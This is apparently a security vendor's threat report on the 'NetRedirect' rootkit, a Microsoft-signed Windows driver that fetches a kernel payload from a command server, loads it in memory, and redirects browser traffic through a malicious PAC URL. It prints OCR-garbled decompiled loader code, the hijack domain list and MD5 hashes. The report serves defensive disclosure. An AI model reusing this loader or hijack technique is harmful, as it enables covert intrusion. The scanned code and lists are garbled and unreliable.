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1.Backgroud

Recently, 360 Security Center discovered that a malicious driver “Netfilter rootkit” with WHQL
signature was revealed in mid-June. WHQL signature means that after the hardware driver
passed the Microsoft certification, Microsoft will add a “Hardware Compatibility Publisher”
digital signature to the driver. The Netfilter rootkit has now been updated to the second
generation and continues to hold the Microsoft signature. Moreover, the concealment of the
upgraded Netfilter rootkit has increased so much that there is still no antivirus report on
Virustotal.

In view of the fact that the second generation of Netfilter rootkit differs from the previous
version in function and name, 360 Security Center named it “NetRedirect rootkit”. Although
the NetRedirect rootkit has strong concealment and hazards, 360 Total Security can still
achieve targeted defense and thorough investigation and killing, and fundamentally solve the
user’s security problems.
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Signature Info (i

Signature Verification

Signed file, valid signature

File Version Information

Date signed  2021-07-11 06:36:00

Signers
+  Microsoft Windows Hardware Compatibility Publisher
+  Microsoft Windows Third Party Component CA 2012

+  Microsoft Root Certificate Authority 2010

Counter Signers
+  Microsoft Time-5tamp Service
+  Microsoft Time-5tamp PCA 2010

+ Microsoft Root Certificate Authority 2010

X509 Certificates
+  Microsoft Windows Hardware Compatibility Publisher
+  Microsoft Windows Third Party Component CA 2012
+ Microsoft Time-5tamp Service

+  Microsoft Time-5tamp PCA 2010

In fact, as early as June 25, the Microsoft Security Response Center stated that it had
suspended the Netffilter rootkit account and reviewed other documents issued by it.
“According to our zero-trust and layered defense security posture, we passed Microsoft
Defender for Endpoint Built-in detection and blocking of this driver and related files.”
However, its second-generation product, the NetRedirect rootkit, which is highly homologous
and similar in behavior, still has a Microsoft signature, making it more concealed and difficult

to detect and Kill.

In addition, the harmfulness of NetRedirect rootkit has also been significantly improved. In
view of the way that NetRedirect rootkit cloud controls the distribution of rootkits, the current
malicious vendor is fully capable of not only being limited to the IP hijacking function, but also
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being able to implement any malicious rootkit execution on the infected devices.
1. The hidden behavior of cloud-controlled malicious files and memory loading

Different from the previous generation of “Netfilter rootkit” verifying its own file md5 to

implement file self-update, “NetRedirect rootkit” adopts the form of disguising the driver and
the malicious driver, and the real malicious driver is stored on the Trojan C & C serverin a

cloud-controlled manner, And the local masquerading as the driver of the WFP network

filtering function is responsible for requesting malicious file data from the server, and calling

the rootkit entry address in a concealed manner of memory loading.
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The source of the “NetRedirect rootkit” is certain private server games. After the private
server game runs, it will silently write to the driver registry service, release the
NetRedirect.sys file to the %UserProfile%\AppData\Roaming directory, and load
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Subsequently, NetRedirect.sys, which has Microsoft’s signature, will request the real
malicious driver from the server in the form of a socket:

SE'uE'écc<et = &reéteListenSﬂckeiiZu, lu, 6u);
if ( ServerSocket > @ )

if ( (int)sub_148083220() >= @ )

LOWORD(va) = 2;
if { (unsigned int)SocketBind((unsigned int)ServerSocket, &v9, 16i64) I= -1 )

sub_l4p@ed4als(serversocket, @xFFFF, 4101, (unsigned int)&va, 4);
sub_140804418(Serversocket, @xFFFF, 4182, (unsigned int)&vE, 4);
v = (int)SocketTransferSend(ServerSocket, &dword_14000A6A4, 4, 8);// MRS SiHEHEIE
PEBuffer_1 = (__inte4)}PEBuffer;
memset(PEEuffer, @, Buikd);
if { !byte_140@BAGAB )
1
vE = vij
do

if ( ve <=8 )
break;

v? = SocketTransferReceive(ServerSocket, PEBuffer_1, @xFFFFF - v@, ﬁ);;"d W RS Srootkit, £ & A TEMNE
if (w7 <=8 )

break;

vl = U7

PEBuffer_1 += v7;

if { PEBuffer_1 - (__ intG4)PEBuffer »>= 4 )
dword_14888A6E4 = *( DWORD *)(PEBuffer 1 - 4);
if ( dword 1480@AGB4 == @XABBFFEE )

break;
1

if ( @xFFFFF - v@ <=5 )
goto LABEL_18;

while { !byte 140084642 );
if (ve > 58 )
MapWorker(( intBa)PEBuffer, va); // FITEIN#E Rootkit

After obtaining the rootkit file data, the memory is self-loaded and the driver entry address is
called:
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pNTHeader = RtlImageNtHeader(v3};
pBuffer = (char *)ExAllocatePocl(NonPagedPool, plTHeader->0OptionalHeader.SizeOfImage);
ImageBase = pBuffer;
if ( pBuffer )}
{
RtlCopyMemory (pEuffer, *(char **)&DriverObject->DriverName.Length, plTHeader-:OptionalHeader.SizeOfHeaders);
for ( psection = (PIMAGE_SECTION_HEADER)&pNTHeader[1];
pSection <« (PIMAGE_SECTION_HEADER)&pNTHeader[1] + pNTHeader-»>FileHeader.NumberOfSections;
+pSection )

1
RtlCopyMemory (
&ImageBase[pSection-»VirtualAddress],
(char *)(*(_QWORD *)}&DriverObject->DriverName.Length + pSection->PointerToRawData),
pSection->Size0fRawData);
1

status = FixRelocation(ImageBase, @ic4, @, BxCOBOBE18, STATUS_INVALID IMAGE FORMAT);
if ( status < @ )
goto LABEL_12;
status = Checkvaild(ImageBase, 1);
if ( status < @ )
goto LABEL_12;
}

1

CreateCookie(ImageBase);
EntryPoint0ffset = pNTHeader-»0OptionalHeader.AddressOfEntryPoint;
if ( (_DWORD)EntryPointOffset )

DriverObject-»DriverStart = ImageBase;

SizedfImage = pNTHeader-»0OptionalHeader.SizeOfImage;
*(_OWORD *)&DriverObject->Driversize = @i64;
*(_QWORD *)&DriwverObject->Flags = SizeOfImage;
*(_DWORD *)&DriverObject-»Type = 2457;

The Netffilter rootkit loaded in the memory is responsible for IP hijacking. It will repeatedly
tamper with the HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\AutoConfigURL key value item, and finally achieve the purpose of IP hijacking:

({wvoid {_ fastcall ES(PDRIVER_GB]ECT, _QWORD) }&ImageBase[EntryPoint0Offset]}(DriverObject, @i64);// call DriverEntry

| WsHub fﬂiﬁw REG_SZ EEEES)
. WAB | ab| AytaConfigPro... REG.SZ wininet.dll
‘ wfls REG_SZ http:f fwww.onhgxaxyz: 5200/ pac.txt
b Windows Y& CertificateRevo... REG_DWORD ThI000000T (1)
4-di CurrentVersion 54 DisableCachin.. REG_DWORD 0x00000000 (0)
E i:::t:emer aB|EmailName REG_S7 User@
» @ Explorer #4EnableHttpl 1 REG_DWORD 0x00000001 (1)
[;__ | Ext fg'p']EnableNegotia... REG_DWORD 000000001 (1)
» Extensions ab|[ES_UA_Backu.. REG_SZ 5.0
[> || Group Policy fg'p"]MigrateF‘rCrxy REG_DWORD 000000001 (1)
[;__ || Group Policy Editor EﬂMimeExclusion... REG 57 multipart/mixed multipart/x-mixed-replace m..
> | Group Policy Object || #|PrivacyAdvanc.. REG_DWORD 0x00000000 (0)
.}) GrpConv 4| PrivDiscUiShown REG_DWORD 0x00000001 (1)
b-J HomeGroup 4| ProxyEnable REG_DWORD 0x00000000 (0)
E>.. L ime fg'g']SecureProtocols REG_DWORD 000000020 (160)
A . Internet Settings 4 UrlEncoding REG_DWORD 0x00000000 (0)
b)) 5.0 ab]User Agent REG_SZ Mozilla/4.0 (compatible: MSIE 8.0; Win32)

The partial hijacking list is as follows:
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7 baiduixt - =4
MR FEE B0 ZFNV) #EH
lfunction FindProxyForURL(url, host) {

var HiJackList = ['*.0005pk.com’,'*.002cc.com’,"*.0044pk.com’,"*.004cq.com’,*.004m.cn’,"*.0
yz','"*123klxyz’,*.123ll.xyz’,'*.123sx.xyz',"*.123zhuangian.com’,'*. 12432144 xyz','*.12pk.xyz’,'*.12yue05.
187yun.com’,'*.1888hr.com’,'*.1888woool.com’,'*.1890cqg.cn’,'*.18Sheji.com’, *.18cv.xyz’, *.18cw.xyz', "
*.286tao.com’,'*.289996.com’,"*.28hqa.top’,'*.28hqu.top’,'*.28hqv.top’, *.28hya.top’,"*.28m7w7z.cn’,"*.;
cq.com’,"”* 3wp77.cn’,*.400cq.cn’,*.4050cq.com’,"*.41543.cn',"* 421421 .xyz',"* 432047 2.xyz'"*.4321231 ¢
.548h2w.top’,"*.549sf.com’,'"*.54d2c.top’,'*.551689.vip’,"*.551xy.com’,'"*.553dd.top","*.5550pk.cn’,'*.5555!
58mr.top’,'*.68dv.com’,"*.699buy.net’,"*.69cong.cn’,'*.69ii.xyz’','*.6abc.cn’,'*.6evip.cn','*.em1f.xyz','*.6pz|
*.80jbcg.cn’,"*.80luanshi.com’,*.80sswl.com’,"*.80wzcq.com’,"*.622560.com’,"*.8286sf.cn’, *.828job.com
com',"*.9393z.com’,"*.94lwj001.top’,'*.95180uy.top’,*.951v.cn’,"*.9527wanfu.cn’,'*.955634.com’,'*.9587.
m',"*.ahgowxsqhjkjk34.top’,"*.ahx1kkk.top’,*.ahxy03.top’,"*.ahxy04.top’,"*.ahxy11.top',"*.ahxy13.top’,'*
.botoukangpeng.com’,"*.boyku.cn’,'*.bgeb.xyz’,'* bgee.xyz',*.bgsl.xyz',*.brncp.com’,"*.bscq2022.com’,
ck3c.cn’,"*.cm720.top’,"*.cmcc7 21.xyz’,"*.cmfs888.com’,"*.cmsh888.com’,"*.cmsj.asia’, *.cmzd12.top’, "*.c
0.top',"*.dddxx03.top","*.dddxx04.top","*.ddhhw06.top’,"*.ddwq19.xyz',"*.ddwq20.xyz',"*.deansheng.con
on A f1f111.xyz' '*.faguanggi1.top','*.fantian1.top','"* fc0372.com’,"*.fc568.cn’,"*.fc726.com’,"*.fcdd33

It is monitored that the “NetRedirect rootkit” does not belong to any module’s memory thread,
and tampering with the registry AutoConfigURL key value:

Call Site

testsvys | CheckDenvyValue+0xal [l “workcodesuvmprotectstes
testsys!CmHonCallBack+0x9f [l:“workcodeuvmprotect™test
testsys!|RegistryCallback+0x6c [l “workcode“uvmprotect™t
nt ! CmpCallCallBack=+0=1c0

nt! ?7 :HHGAKEGL: : "string'+0=x38639

nt |KiSystenServiceCopyEnd+0=x13 (TrapFrame @ f£f£££550° 02
nt |KiServicelinkage

Oxzfffffa80" 3267ceaf

Oxfffffad80 3267f660

Oxfffff380° 02291aa8
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+UxsbEl Kstatesave otnull)
0: kd: dt nt!_ETHEEAD fffffa80° 32d44bb50

+0=000 Tckb . _KTHEEAD

+0=368 CreateTine © _LARGE_INHTEGERE 0x01d77d0a  deel7306

+0x370 ExitTime . _LARGE_INTEGEE Oxfffffa80 32dd4becl

+0=370 KeyedWaitChain : _LIST ENTREY [ O=xfffffaBl" 32ddbecd — Oxzfffffal0 32d4becD ]
+0x380 ExzitStatus . Ond

+0=388 Po=tBlocklList : _LIST ENTEY [ 0=x00000000° 00000000 — O=fffff880°02=31b70 ]
+0x388 ForwardLlinkShadow : {(null

+0=390 Starthddre=s § 0= 012c31b70 Void

+0x398 TerminationFPort . {null)

+0x398 Reaperlink © o (null)

+0x398 KeyedWaitValue cofnmulld

+0=3a0 ActiveTimerlistlocl : 0

+0x3a8 ActiveTimerlistHead : _LIST ENTRY [ Oxfffffa80° 32d4beff — O=xfffffaB0° 32ddbefd ]
+0=3b8 Cid : _CLIENT ID

+0x3ct KevedWaitSemaphore | _KSEMAPHORE

+0x3c8 AlpcWaitSemaphore @ _KSEMAPHORE

+0x3ef ClientSecurity . _PS CLIENT SECURITY_CONTEXT

+0=3f0 Irplist : _LIST ENTREY [ O=xfffffaB0" 32d4bfd40 — O=fffffal0 32d4bf40 ]
+0x400 Toplewellrp 0

+0x408 DeviceToVerifw © o (null)

+0x410 Cpufuotaldpc o (null)

+0x418 Win3d2Startiddress : O=fff£ff880°02=31L70 Void

+0x4:20 LegacyPowerCbject © {null)}

+0x428 ThreadlistEntrwy  _LIST EHNTRY [ O=xfffffaB80° 32490488 — Ox=fffffaB0 3251bchl ]
+0x438 EundownProtect EX_RUNDOWH_REF

+0x440 Threadlock . _EX PUSH LOCK

+0x448 ReadClu=sterSize : 7

+0xdde MmLockOrdering o Ond
+0x450 CrossThreadFlags @ [0=xaBi2
+0x450 Terminated o 00

However, users do not need to worry. Under the protection of 360 Total Security’s accuracy,
real-time and intelligence, such rootkits cannot bypass 360 Total Security’s behavior-based
detection. The new generation of defense technology empowered by 360 Security Center
can prevent problems before they happen. , It can also carry out thorough investigation and
killing of infected devices.

@ =50 TOTAL SECURITY

@ Found 3 item(s) to be resolved

Protection: On

[ —~
Full Check

~/ High-risk items

@ Virus Scan " Ch\Users\asus\AppData\Roaming\MNetRedirectsys  WinB4/Heur.Gener... O &

Security Advice :

1. Go to https://www.360totalsecurity.com/ to download and install 360 Total Security for
protection.

2. For unfamiliar software blocked by 360 Total Security, do not continue to run and add
trust.

3. If you have accidentally infected the Trojan, you can go to
https://www.360totalsecurity.com/ to download and install 360 Total Security, and use
360 Total Security’s scan and killing service.
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Files Md5:
36b43aa3621e0c4f86a4ab61a2ealf2cd
09ef4b13abda36dabcd3982ae66a59c0
155250268a6080aeeb9a337f76e35599
7b6ebe1f32b204d0e1e4ac92b3ad6baa

Learn more about 360 Total Security
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